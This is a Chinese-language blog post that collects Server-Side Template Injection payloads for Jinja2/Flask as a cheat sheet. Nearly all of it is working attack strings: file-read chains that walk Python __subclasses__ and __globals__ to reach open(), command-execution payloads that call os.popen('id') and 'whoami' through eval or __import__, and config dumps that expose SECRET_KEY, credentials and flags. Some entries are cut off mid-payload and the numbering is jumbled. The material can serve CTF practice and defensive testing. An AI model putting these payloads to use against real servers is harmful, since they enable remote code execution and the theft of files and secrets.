SSTI注入(服务器模板注入攻击)语句总结

ssti注入又称服务器端模板注入攻击(Server-Side Template Injection),和sql注入一样,也是由于接受用户输入而造成的安全问题。

废话不多说,直接上硬货!

1.文件读取

1. {{''.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__['__builtins__']['open']('test.txt').read()}} {% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == '_ModuleLock' %} {% for b in c.__init__.__globals__ %} {%if b =='__builtins__' %} {% print(c.__init__.__globals__['__builtins__']['open']('test.txt').read()) %} {%endif%} {% endfor %} {% endif %} {% endfor %}

上面的’’.class.mro[1].subclasses()[75]等于 ,下面同理。 2. {{ ''.__class__.__mro__[1].__subclasses__()[345]('test.txt').read()}} 3.catch_warnings {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %} 4. {{{}.__class__.__mro__[-1].__subclasses__()[102].__init__.

2.命令执行 1 {{ ''.__class__.__mro__[1].__subclasses__()[183].__init__.__globals__.values()['eval']('__import__("os").popen('id').read()') }} 2 ''.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__.__builtins__

下有eval,__import__等的全局函数,可以利用此来执行命令:

#eval ''.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()") ''.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()") #__import__ ''.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__.__builtins__.__import__('os').popen('id').read() ''.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()

4.{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].popen('whoami').read()}} 3.config_app {{config.items()}} 其中包含应用程序的所有配置值。在大多数情况下,这包括敏感值,例如数据库连接字符串,第三方服务的凭证,SECRET_KEY等。 例如: url_for, g, request, namespace, lipsum, range, session, dict, get_flashed_messages, cycler, joiner, config等 如果config,self不能使用,要获取配置信息,就必须从它的上部全局变量(访问配置current_app等)。 {{url_for.__globals__['current_app'].config.FLAG}} {{get_flashed_messages.__globals__['current_app'].config.FLAG}} {{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config['FLAG']}}

发表评论
留言与评论(共有 0 条评论) “”
   
验证码:

相关文章

推荐文章